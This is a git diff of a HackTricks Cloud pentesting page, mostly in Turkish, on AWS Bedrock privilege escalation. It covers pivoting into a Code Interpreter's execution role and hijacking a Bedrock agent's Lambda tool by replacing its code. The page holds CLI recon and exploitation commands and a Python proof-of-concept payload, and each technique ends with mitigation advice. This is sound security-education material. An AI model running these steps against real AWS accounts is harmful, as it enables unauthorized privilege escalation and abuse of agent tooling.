mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-04-28 12:03:08 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat
This commit is contained in:
@@ -6,31 +6,32 @@
|
||||
|
||||
### `bedrock-agentcore:StartCodeInterpreterSession` + `bedrock-agentcore:InvokeCodeInterpreter` - Code Interpreter Execution-Role Pivot
|
||||
|
||||
AgentCore Code Interpreter yönetilen bir yürütme ortamıdır. **Custom Code Interpreters** bir **`executionRoleArn`** ile yapılandırılabilir; bu, code interpreter'ın AWS hizmetlerine erişmesi için izinler sağlar.
|
||||
AgentCore Code Interpreter yönetilen bir execution environment’tir. **Custom Code Interpreters**, code interpreter’ın AWS services’e erişmesi için izinler sağlayan bir **`executionRoleArn`** ile yapılandırılabilir.
|
||||
|
||||
Eğer bir **lower-privileged IAM principal**, **start + invoke** ile daha ayrıcalıklı bir **execution role** ile yapılandırılmış bir Code Interpreter oturumunu başlatıp çağırabiliyorsa, arayan kişi fiilen **pivot into the execution role’s permissions** gerçekleştirebilir (lateral movement / privilege escalation rolün kapsamına bağlı olarak).
|
||||
Eğer **düşük yetkili bir IAM principal**, daha yetkili bir execution role ile yapılandırılmış bir Code Interpreter session’ını **başlatıp + invoke** edebiliyorsa, çağıran taraf etkili biçimde **execution role’un permissions**’larına **pivot** yapabilir (role scope’una bağlı olarak lateral movement / privilege escalation).
|
||||
|
||||
> [!NOTE]
|
||||
> Bu tipik olarak bir **misconfiguration / excessive permissions** sorunudur (interpreter execution role'a geniş izinler vermek ve/veya geniş invoke erişimi tanımak). AWS, invocation izni verilen kimliklerin execution roles'a göre **equal or fewer** ayrıcalıklara sahip olmasını sağlayarak privilege escalation'dan kaçınılması gerektiği konusunda açıkça uyarır.
|
||||
> Bu genellikle bir **misconfiguration / excessive permissions** sorunudur (interpreter execution role’a fazla geniş permissions vermek ve/veya geniş invoke erişimi vermek).
|
||||
> AWS, execution role’ların, invoke etmeye izin verilen identity’lerle **eşit veya daha az** privilege’a sahip olmasını sağlayarak privilege escalation’dan kaçınılmasını açıkça önerir.
|
||||
|
||||
#### Önkoşullar (yaygın yanlış yapılandırma)
|
||||
#### Önkoşullar (yaygın misconfiguration)
|
||||
|
||||
- Bir **custom code interpreter** mevcut olup over-privileged bir **execution role** ile yapılandırılmıştır (ex: hassas S3/Secrets/SSM erişimi veya IAM-admin-like yetenekler).
|
||||
- Bir kullanıcı (developer/auditor/CI identity) şu izinlere sahiptir:
|
||||
- start sessions: `bedrock-agentcore:StartCodeInterpreterSession`
|
||||
- invoke tools: `bedrock-agentcore:InvokeCodeInterpreter`
|
||||
- (Optional) Kullanıcı ayrıca interpreter oluşturabilir: `bedrock-agentcore:CreateCodeInterpreter` (organizasyon kısıtlamalarına bağlı olarak execution role ile yapılandırılmış yeni bir interpreter oluşturmasına izin verir).
|
||||
- Aşırı yetkili bir **execution role**’a sahip bir **custom code interpreter** vardır (ör: hassas S3/Secrets/SSM erişimi veya IAM-admin benzeri capability’ler).
|
||||
- Bir user (developer/auditor/CI identity) şu permissions’a sahiptir:
|
||||
- session başlatma: `bedrock-agentcore:StartCodeInterpreterSession`
|
||||
- araçları invoke etme: `bedrock-agentcore:InvokeCodeInterpreter`
|
||||
- (Opsiyonel) User ayrıca interpreter oluşturabilir: `bedrock-agentcore:CreateCodeInterpreter` (org guardrail’lerine bağlı olarak, bir execution role ile yapılandırılmış yeni bir interpreter oluşturmasına izin verir).
|
||||
|
||||
#### Recon (identify custom interpreters and execution role usage)
|
||||
#### Recon (custom interpreter’ları ve execution role kullanımını belirle)
|
||||
|
||||
Interpreter'ları listeleyin (control-plane) ve yapılandırmalarını inceleyin:
|
||||
Interpreter’ları (control-plane) listele ve configuration’larını incele:
|
||||
```bash
|
||||
aws bedrock-agentcore-control list-code-interpreters
|
||||
aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id <CODE_INTERPRETER_ID>
|
||||
````
|
||||
> create-code-interpreter komutu, yorumlayıcının sahip olacağı AWS izinlerini tanımlayan `--execution-role-arn` seçeneğini destekler.
|
||||
```
|
||||
> `create-code-interpreter` komutu, interpreter'ın hangi AWS permissions'a sahip olacağını tanımlayan `--execution-role-arn` seçeneğini destekler.
|
||||
|
||||
#### Adım 1 - Bir oturum başlatın (bu bir `sessionId` döndürür, interactive shell değildir)
|
||||
#### Adım 1 - Bir session başlatın (bu bir `sessionId` döndürür, interaktif bir shell değil)
|
||||
```bash
|
||||
SESSION_ID=$(
|
||||
aws bedrock-agentcore start-code-interpreter-session \
|
||||
@@ -42,11 +43,11 @@ aws bedrock-agentcore start-code-interpreter-session \
|
||||
|
||||
echo "SessionId: $SESSION_ID"
|
||||
```
|
||||
#### Adım 2 - Kod yürütmesini çağırma (Boto3 veya imzalı HTTPS)
|
||||
#### Adım 2 - code execution çağırın (Boto3 veya signed HTTPS)
|
||||
|
||||
`start-code-interpreter-session`'den **etkileşimli bir Python kabuğu yoktur**. Yürütme **InvokeCodeInterpreter** aracılığıyla gerçekleşir.
|
||||
`start-code-interpreter-session` ile **interaktif bir python shell** yoktur. Execution, **InvokeCodeInterpreter** üzerinden gerçekleşir.
|
||||
|
||||
**Seçenek A - Boto3 örneği (Python çalıştırma + kimliği doğrulama):**
|
||||
**Seçenek A - Boto3 örneği (Python çalıştır + kimliği doğrula):**
|
||||
```python
|
||||
import boto3
|
||||
|
||||
@@ -67,7 +68,7 @@ arguments={
|
||||
for event in resp.get("stream", []):
|
||||
print(event)
|
||||
```
|
||||
Yorumlayıcı execution role ile yapılandırılmışsa, `sts:GetCallerIdentity()` çıktısı o rolün kimliğini yansıtmalıdır (low-priv caller değil), bu da pivot'u gösterir.
|
||||
Eğer interpreter bir execution role ile yapılandırılmışsa, `sts:GetCallerIdentity()` çıktısı bu role’ün kimliğini yansıtmalıdır (düşük yetkili caller’ı değil), pivot’u göstererek.
|
||||
|
||||
**Option B - Signed HTTPS call (awscurl):**
|
||||
```bash
|
||||
@@ -88,18 +89,86 @@ awscurl -X POST \
|
||||
```
|
||||
#### Etki
|
||||
|
||||
* **Lateral movement** — interpreter execution role'un sahip olduğu AWS erişimine doğru.
|
||||
* **Privilege escalation** — interpreter execution role, caller'dan daha ayrıcalıklıysa.
|
||||
* Tespit zorluğu — interpreter invocations için CloudTrail data events etkin değilse (invocations yapılandırmaya bağlı olarak varsayılan olarak kaydedilmeyebilir).
|
||||
* **Lateral movement** interpreter execution role’un sahip olduğu herhangi bir AWS erişimi içine.
|
||||
* **Privilege escalation** eğer interpreter execution role, çağırandan daha yetkiliyse.
|
||||
* CloudTrail data events interpreter çağrıları için etkin değilse daha zor tespit edilir (invocation’lar varsayılan olarak loglanmayabilir, yapılandırmaya bağlı olarak).
|
||||
|
||||
#### Önlemler / Sertleştirme
|
||||
#### Mitigations / Hardening
|
||||
|
||||
* **Least privilege** on the interpreter `executionRoleArn` (Lambda execution roles / CI roles gibi davranın).
|
||||
* **Restrict who can invoke** (`bedrock-agentcore:InvokeCodeInterpreter`) ve kimlerin oturum başlatabileceğini kısıtlayın.
|
||||
* Use **SCPs** to deny InvokeCodeInterpreter except for approved agent runtime roles (org-level enforcement can be necessary).
|
||||
* Enable appropriate **CloudTrail data events** for AgentCore where applicable; alert on unexpected invocations and session creation.
|
||||
* interpreter `executionRoleArn` üzerinde **least privilege** uygula (bunu Lambda execution roles / CI roles gibi değerlendir).
|
||||
* **Kimlerin invoke edebileceğini** (`bedrock-agentcore:InvokeCodeInterpreter`) ve kimlerin session başlatabileceğini kısıtla.
|
||||
* `InvokeCodeInterpreter` için, onaylı agent runtime roles hariç deny etmek üzere **SCPs** kullan (org-level enforcement gerekli olabilir).
|
||||
* Uygun olduğunda AgentCore için uygun **CloudTrail data events** etkinleştir; beklenmeyen invocation’lar ve session creation için alert üret.
|
||||
|
||||
## Referanslar
|
||||
## Amazon Bedrock Agents
|
||||
|
||||
### `lambda:UpdateFunctionCode`, `bedrock:InvokeAgent` - Lambda Üzerinden Agent Tool Hijacking
|
||||
|
||||
Bedrock Agents, **Lambda-backed action groups**'ları tool olarak kullanabilir (external execution). Bir principal, bir agent tarafından kullanılan bir Lambda function’un code’unu değiştirebiliyorsa ve ardından agent’i invoke edebiliyorsa, **Lambda execution role** altında attacker-controlled code çalıştırabilir.
|
||||
|
||||
> [!NOTE]
|
||||
> Bu bir **cross-service trust abuse**'dır (Bedrock → Lambda), vulnerability değil. Attacker Lambda’yı doğrudan invoke edemeyebilir, ancak agent aracılığıyla yine de tetikleyebilir.
|
||||
|
||||
#### Önkoşullar (yaygın misconfiguration)
|
||||
|
||||
- Bir Bedrock Agent, **Lambda function** ile desteklenen bir action group’a sahiptir
|
||||
- Attacker’ın sahip olduğu:
|
||||
- `lambda:UpdateFunctionCode`
|
||||
- `bedrock:InvokeAgent`
|
||||
- Lambda execution role, attacker’dan daha geniş permissions’a sahiptir
|
||||
- Attacker, agent’in kullandığı Lambda’yı tespit edebilir
|
||||
|
||||
#### Recon
|
||||
|
||||
Agent action groups’u enumerate et:
|
||||
```bash
|
||||
aws bedrock-agent list-agents
|
||||
aws bedrock-agent get-agent --agent-id <AGENT_ID>
|
||||
aws bedrock-agent list-agent-action-groups --agent-id <AGENT_ID> --agent-version DRAFT
|
||||
```
|
||||
Lambda’yı inceleyin:
|
||||
```bash
|
||||
aws lambda get-function --function-name <FUNCTION_NAME>
|
||||
```
|
||||
#### Exploitation
|
||||
|
||||
Lambda code'unu değiştirin:
|
||||
```bash
|
||||
zip payload.zip lambda_function.py
|
||||
|
||||
aws lambda update-function-code \
|
||||
--function-name <FUNCTION_NAME> \
|
||||
--zip-file fileb://payload.zip
|
||||
```
|
||||
Örnek payload:
|
||||
```python
|
||||
import boto3
|
||||
|
||||
def lambda_handler(event, context):
|
||||
return boto3.client("sts").get_caller_identity()
|
||||
```
|
||||
Agent üzerinden tetikle:
|
||||
```bash
|
||||
aws bedrock-agent-runtime invoke-agent \
|
||||
--agent-id <AGENT_ID> \
|
||||
--agent-alias-id <ALIAS_ID> \
|
||||
--session-id test \
|
||||
--input-text "trigger tool"
|
||||
```
|
||||
#### Impact
|
||||
|
||||
* **Privilege escalation** into Lambda execution role
|
||||
* **Data exfiltration** from AWS services
|
||||
* **Cross-service abuse** via trusted agent execution
|
||||
|
||||
#### Mitigations
|
||||
|
||||
* **Restrict** `lambda:UpdateFunctionCode`
|
||||
* Use **least-privilege** Lambda roles
|
||||
* **Monitor** Lambda code changes
|
||||
* **Audit** Bedrock agent tool usage
|
||||
|
||||
## References
|
||||
|
||||
- [Sonrai: AWS AgentCore privilege escalation path (SCP mitigation)](https://sonraisecurity.com/blog/aws-agentcore-privilege-escalation-bedrock-scp-fix/)
|
||||
- [Sonrai: Credential exfiltration paths in AWS code interpreters (MMDS)](https://sonraisecurity.com/blog/sandboxed-to-compromised-new-research-exposes-credential-exfiltration-paths-in-aws-code-interpreters/)
|
||||
@@ -107,6 +176,7 @@ awscurl -X POST \
|
||||
- [AWS CLI: start-code-interpreter-session (returns `sessionId`)](https://docs.aws.amazon.com/cli/latest/reference/bedrock-agentcore/start-code-interpreter-session.html)
|
||||
- [AWS Dev Guide: Code Interpreter API reference examples (Boto3 + awscurl invoke)](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/code-interpreter-api-reference-examples.html)
|
||||
- [AWS Dev Guide: Security credentials management (MMDS + privilege escalation warning)](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/security-credentials-management.html)
|
||||
- [SoftwareSecured: AWS Privilege Escalation Techniques (Bedrock agent tool hijacking)](https://www.softwaresecured.com/post/aws-privilege-escalation-iam-risks-service-based-attacks-and-new-ai-driven-bedrock-agentcore-vectors)
|
||||
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user